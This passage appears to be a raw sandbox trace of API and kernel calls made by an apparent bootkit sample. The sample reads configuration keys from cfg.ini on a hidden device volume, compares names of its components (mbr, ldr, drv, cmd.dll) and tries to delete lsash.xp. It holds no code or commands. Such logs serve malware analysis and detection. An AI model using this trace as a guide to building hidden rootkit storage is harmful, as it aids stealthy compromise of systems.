_Dest="cfg.ini") returned="cfg.ini" [0123.616] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.616] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedfb0 [0123.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.616] KeLeaveCriticalRegion () [0123.616] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.616] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.616] KeEnterCriticalRegion () [0123.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.616] KeLeaveCriticalRegion () [0123.616] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.616] KeEnterCriticalRegion () [0123.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.616] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.616] IdePortDispatch () returned 0x103 [0123.616] KeWaitForMutexObject () returned 0x0 [0123.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.617] KeLeaveCriticalRegion () [0123.617] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.617] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.617] KeEnterCriticalRegion () [0123.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e1000 [0123.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.617] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.617] IdePortDispatch () returned 0x103 [0123.617] KeWaitForMutexObject () returned 0x0 [0123.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.617] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.617] IdePortDispatch () returned 0x103 [0123.617] KeWaitForMutexObject () returned 0x0 [0123.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.617] KeLeaveCriticalRegion () [0123.617] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.618] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.618] KeEnterCriticalRegion () [0123.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.618] KeLeaveCriticalRegion () [0123.618] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.618] KeEnterCriticalRegion () [0123.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.618] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.618] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.618] KeLeaveCriticalRegion () [0123.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.618] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.618] KeEnterCriticalRegion () [0123.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.618] ExFreePoolWithTag (P=0xfffffa8003bedfb0, Tag=0x0) [0123.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.618] KeLeaveCriticalRegion () [0123.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.618] ReleaseMutex (hMutex=0xf0) returned 1 [0123.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.618] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.618] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.618] KeEnterCriticalRegion () [0123.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.619] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.619] IdePortDispatch () returned 0x103 [0123.619] KeWaitForMutexObject () returned 0x0 [0123.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.619] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.619] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.619] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.619] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.619] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec260 [0123.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.619] KeLeaveCriticalRegion () [0123.619] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.619] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.619] KeEnterCriticalRegion () [0123.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.619] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.619] KeLeaveCriticalRegion () [0123.619] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.619] KeEnterCriticalRegion () [0123.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.619] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.619] IdePortDispatch () returned 0x103 [0123.619] KeWaitForMutexObject () returned 0x0 [0123.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.620] KeLeaveCriticalRegion () [0123.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.620] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.620] KeEnterCriticalRegion () [0123.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e2000 [0123.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.620] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.620] IdePortDispatch () returned 0x103 [0123.620] KeWaitForMutexObject () returned 0x0 [0123.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.620] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.620] IdePortDispatch () returned 0x103 [0123.620] KeWaitForMutexObject () returned 0x0 [0123.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.620] KeLeaveCriticalRegion () [0123.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.621] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.621] KeEnterCriticalRegion () [0123.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.621] KeLeaveCriticalRegion () [0123.621] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.621] KeEnterCriticalRegion () [0123.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.621] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.621] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.621] KeLeaveCriticalRegion () [0123.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.621] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.621] KeEnterCriticalRegion () [0123.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.621] ExFreePoolWithTag (P=0xfffffa8003bec260, Tag=0x0) [0123.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.621] KeLeaveCriticalRegion () [0123.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.621] ReleaseMutex (hMutex=0xf0) returned 1 [0123.621] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.621] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.621] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.621] KeEnterCriticalRegion () [0123.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.621] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.621] IdePortDispatch () returned 0x103 [0123.621] KeWaitForMutexObject () returned 0x0 [0123.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.622] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.622] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.622] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.622] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.622] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea500 [0123.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.622] KeLeaveCriticalRegion () [0123.622] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.622] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.622] KeEnterCriticalRegion () [0123.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.622] KeLeaveCriticalRegion () [0123.622] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.622] KeEnterCriticalRegion () [0123.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.622] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.622] IdePortDispatch () returned 0x103 [0123.622] KeWaitForMutexObject () returned 0x0 [0123.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.623] KeLeaveCriticalRegion () [0123.623] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.623] KeEnterCriticalRegion () [0123.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e3000 [0123.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.623] IdePortDispatch () returned 0x103 [0123.623] KeWaitForMutexObject () returned 0x0 [0123.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.623] IdePortDispatch () returned 0x103 [0123.623] KeWaitForMutexObject () returned 0x0 [0123.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.623] KeLeaveCriticalRegion () [0123.623] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.624] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.624] KeEnterCriticalRegion () [0123.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.624] KeLeaveCriticalRegion () [0123.624] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.624] KeEnterCriticalRegion () [0123.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.624] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beccb0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.624] KeLeaveCriticalRegion () [0123.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.624] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.624] KeEnterCriticalRegion () [0123.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.624] ExFreePoolWithTag (P=0xfffffa8003bea500, Tag=0x0) [0123.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.624] KeLeaveCriticalRegion () [0123.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.624] ReleaseMutex (hMutex=0xf0) returned 1 [0123.624] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.624] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.624] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.624] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.624] KeEnterCriticalRegion () [0123.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.624] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.624] IdePortDispatch () returned 0x103 [0123.624] KeWaitForMutexObject () returned 0x0 [0123.625] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.625] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.625] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.625] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.625] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.625] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.625] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.625] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.625] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.625] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.625] KeLeaveCriticalRegion () [0123.625] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.625] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.625] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.625] KeEnterCriticalRegion () [0123.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.625] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.625] IdePortDispatch () returned 0x103 [0123.625] KeWaitForMutexObject () returned 0x0 [0123.625] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.625] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.625] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.625] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.625] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.625] _strnicmp 